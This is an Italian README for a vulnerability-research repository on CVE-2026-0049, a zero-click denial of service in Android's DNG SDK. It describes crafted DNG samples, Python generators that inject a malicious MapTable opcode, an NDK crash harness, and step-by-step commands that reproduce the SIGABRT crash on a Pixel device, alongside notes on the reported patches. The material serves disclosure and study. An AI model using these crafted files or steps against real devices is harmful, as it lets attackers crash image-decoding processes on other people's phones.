
PoC e analisi di un DoS zero-click nell'SDK DNG di Android, con campioni DNG appositamente creati, un harness di crash NDK e riproduzione dell'overflow di MapTable tramite UBSan/IntSan.
Materiale completo di ricerca e PoC. Analisi narrativa: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.
fAreaSpec.Plane() + fAreaSpec.Planes()
in dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).libdng_sdk.so
trasforma l'overflow in abort() → SIGABRT nel processo che decodifica il DNG.2026-04-01, A-456471290). Due
patch: correzione aritmetica nel dng_sdk (+ riscritto come -) + allowlist MIME in
LocalImageResolver.java che rigetta i DNG (§14).L'articolo dettaglia anche: il percorso completo di generazione del PoC (§6), perché è
stato usato un harness NDK (§7), la differenza tra le flag UBSan/IntSan
-fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime
(§10), e IntSan vs SafeInt vs MTE (§11).
CVE-2026-0049/
├── BLOG.md articolo completo — italiano (17 sezioni)
├── BLOG.en.md full article — English (17 sections)
├── poc/
│ ├── inject_opcode.py [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│ ├── gen_base_dng.py genera il DNG Bayer valido di base (richiede pidng)
│ ├── make_dng.py generatore stand-alone (DNG minimale + opcode)
│ └── make_poc_dng.py primo generatore from-scratch (LinearRaw minimale)
├── harness/
│ ├── decode_poc.c harness NDK AImageDecoder (crash on-device)
│ └── dng_xmp_stub.cpp stub XMP per compilare dng_validate su PC
├── samples/
│ ├── valid_poc.dng PoC funzionante (fa crashare il decoder di sistema)
│ ├── base_benign.dng controllo benigno (decodifica senza crash)
│ └── poc_minimal.dng variante minimale from-scratch
└── evidence/
├── crash_backtrace.txt tombstone reale dal Pixel 9
└── device_analysis.md analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE
pip install pidng
python3 poc/gen_base_dng.py base # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng
Dettaglio critico: l'AreaSpec deve essere non vuota (0,0,H,W); con area vuota
la dng_sdk di Android corto-circuita e la decodifica ritorna errore senza crash
(vedi §6.6 di BLOG.md). Perché serve un DNG pienamente valido e non uno minimale:
SkRawCodec (decoder di sistema) è più severo di Glide/Photos e rifiuta i DNG senza
metadati colore completi (§2, §6.1).
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
-O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/ # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea
Compila i sorgenti dng_sdk applicando -fsanitize=integer -fno-sanitize-recover
solo a dng_misc_opcodes.cpp (usa harness/dng_xmp_stub.cpp per linkare senza
l'XMP SDK). Poi:
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512
Solo per ricerca/didattica. Testato esclusivamente su hardware di proprietà.